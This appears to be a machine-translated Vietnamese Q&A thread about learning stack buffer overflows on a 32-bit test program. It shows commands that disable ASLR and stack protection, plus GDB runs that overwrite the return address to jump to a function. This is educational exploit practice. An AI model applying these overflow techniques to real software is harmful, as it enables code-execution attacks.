2014-10-08 15 views
7

Tôi hiện đang quan tâm đến việc học cách làm tràn bộ đệm. Tôi đã thực hiện khá một chút lắp ráp, và hiểu làm thế nào ngăn xếp hoạt động và làm thế nào để thực hiện một tràn bộ đệm trong C. Tuy nhiên, tôi đang chạy trên khá một chút rắc rối cố gắng để có được GCC 4.9.1 để cho phép tôi tràn một bộ đệm đúng cách. Tôi đang chạy Debian Jessie.Làm cách nào để kiểm tra tràn bộ đệm trên hệ thống hiện đại?

Here là hướng dẫn mà tôi đang cố gắng làm theo, trong phần 2.2. Tôi đã sao chép/dán chương trình C mà anh ấy cung cấp, và tôi đang sử dụng cùng một kịch bản Perl mà anh ấy có, vì vậy mọi thứ đều giống hệt như trường hợp của anh ấy (ngoại trừ hệ thống, tất nhiên).

Đây là những kết quả mà tôi nhận được một cách nhất quán:

~/projects/buffer-overflow$ ls 
run.pl test.c 
~/projects/buffer-overflow$ sudo su 
[email protected]# echo "0" > /proc/sys/kernel/randomize_va_space 
[email protected]# exit 
exit 
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c 
~/projects/buffer-overflow$ ./run.pl 
Address of foo = 0x804845b 
Address of bar = 0x80484a4 
My stack looks like: 
(nil) 
0xffffd4a8 
0xf7e58b2f 
0xf7fb3ac0 
0x8048657 
0xffffd494 

[email protected] 
Now the stack looks like: 
0xffffd718 
0xffffd4a8 
0xf7e58b2f 
0xf7fb3ac0 
0x42418657 
0x46454443 
+4

Tôi không hiểu phiếu bầu. Câu hỏi có vẻ khá rõ ràng đối với tôi, và chắc chắn là về lập trình. – NPE

+1

Bạn đã thử nhập một chuỗi dài * trước * thử với kịch bản Perl, để xác minh rằng ngăn xếp đang được ghi đè "chính xác" chưa? Mỗi phiên bản của gcc đều giới thiệu các tối ưu hóa mới và biện pháp đối phó với loại thủ thuật này. Bạn có thể muốn thử có lẽ với -O. – LSerni

+1

@NPE. Tôi cũng lo lắng về điều đó. Có vẻ như một câu hỏi hợp pháp và giao thoa với tôi. –

Trả lời

2

Đó Perl script không phải là đặc biệt hữu ích ở đây, các hệ thống khác nhau sẽ sử dụng địa chỉ khác nhau, vì vậy chúng ta hãy làm điều đó mà không cần kịch bản ...

Trước hết, tìm hiểu chính xác số lượng byte cần thiết để ghi đè lên địa chỉ trả lại. Chúng ta có thể làm điều này với GDB và Perl:

(gdb) run `perl -e 'print "A" x 26';` 
Address of foo = 0x804845b 
Address of bar = 0x80484a5 
My stack looks like: 
0xf7fb1000 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x8048647 
0xffffdaa8 

AAAAAAAAAAAAAAAAAAAAAAAAAA 
Now the stack looks like: 
0xffffdcbb 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x41418647 
0x41414141 


Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ??() 

Như bạn thấy, 26 byte sẽ ghi đè lên EIP, vì vậy bằng cách thay thế bốn nhân vật "A" cuối cùng với địa chỉ hàm bar() của chúng tôi (đừng quên để đặt nó ở định dạng cuối nhỏ), chúng tôi sẽ có thành công:

(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';` 
Address of foo = 0x804845b 
Address of bar = 0x80484a5 
My stack looks like: 
0xf7fb1000 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x8048647 
0xffffdaa8 

AAAAAAAAAAAAAAAAAAAAAA�� 
Now the stack looks like: 
0xffffdcbb 
0xffffdab8 
0xf7e44476 
0xf7fb1d60 
0x41418647 
0x41414141 

Augh! I've been hacked! 

Program received signal SIGSEGV, Segmentation fault. 
0xffffdc06 in ??() 

Như bạn có thể thấy, chúng tôi đã quay lại thành công thanh chức năng().

0

tôi sẽ cố gắng hoặc -fno-stack-protector-all (thêm -all) và -O khác? tùy chọn, khiến một số tối ưu hóa bật một số -fxxx.

Các vấn đề liên quan